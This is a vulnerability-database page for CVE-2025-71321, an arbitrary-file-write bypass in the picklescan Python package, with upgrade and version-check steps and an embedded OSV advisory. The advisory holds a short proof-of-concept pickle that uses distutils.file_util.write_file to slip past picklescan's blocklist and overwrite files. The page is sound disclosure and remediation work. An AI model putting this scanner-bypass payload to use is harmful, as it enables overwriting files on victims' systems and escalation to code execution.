CVE-2025-71321: Picklescan Picklescan Vulnerable To Arbitrary File Vulnerability
HIGHCVE-2025-71321 is a HIGH picklescan vulnerable to arbitrary file vulnerability (CWE-552: Files or Directories Accessible to External Parties) affecting Picklescan libraries in the PyPI ecosystem. The issue involves picklescan vulnerable to arbitrary file writing. Remediation is available by upgrading affected packages to version 0.0.33.
CVE-2025-71321 at a Glance
How to Fix CVE-2025-71321
To remediate this vulnerability, upgrade all affected Picklescan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install picklescan>=0.0.33
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show picklescan
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2025-71321, inspect your installed packages using pip:
pip show picklescan
Analyze the terminal output to locate any version of Picklescan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.33), your application is affected.
Note: The pip show picklescan command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-552: Files or Directories Accessible to External Parties, where the product makes files or directories accessible to unauthorized actors, even though they should not be. In Picklescan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-71321 Affected Picklescan Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
picklescan
|
PyPI |
< 0.0.33
|
0.0.33
|
References
Frequently Asked Questions
What is CVE-2025-71321?
Which Picklescan versions are affected?
What version fixes CVE-2025-71321?
Is picklescan affected?
What CWE is associated with CVE-2025-71321?
How can I check PyPI dependencies for CVE-2025-71321?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-m273-6v24-x4m4",
"modified" : "2026-06-18T14:44:27Z",
"published" : "2025-12-29T15:22:30Z",
"aliases" : [ "CVE-2025-71321" ],
"summary" : "Picklescan vulnerable to Arbitrary File Writing",
"details" : "### Summary\nPicklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.\n\n### Details\nThis is another vulnerability which impacts the downstream user.\n\nBy constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.\n\n### PoC\n```python\nimport pickle\nimport distutils.file_util\n\nclass FileWriteBypass:\n def __reduce__(self):\n \n target_file = \"pwned_config.env\"\n content = [\"print('I have overwritten your config')\"]\n \n return (distutils.file_util.write_file, (target_file, content))\n\npayload = pickle.dumps(FileWriteBypass())\nwith open(\"bypass_filewrite.pkl\", \"wb\") as f:\n f.write(payload)\n\nprint(\"bypass_filewrite.pkl\")\n```\n\n<img width=\"853\" height=\"197\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65\" />\n\nTo fix this just add disutil to the blacklist",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "picklescan"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.0.33"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m273-6v24-x4m4"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-71321"
}, {
"type" : "WEB",
"url" : "https://github.com/mmaitre314/picklescan/pull/53"
}, {
"type" : "WEB",
"url" : "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/mmaitre314/picklescan"
}, {
"type" : "WEB",
"url" : "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/picklescan-arbitrary-file-writing-via-distutils-module-bypass"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-502", "CWE-552" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-12-29T15:22:30Z",
"nvd_published_at" : null
}
}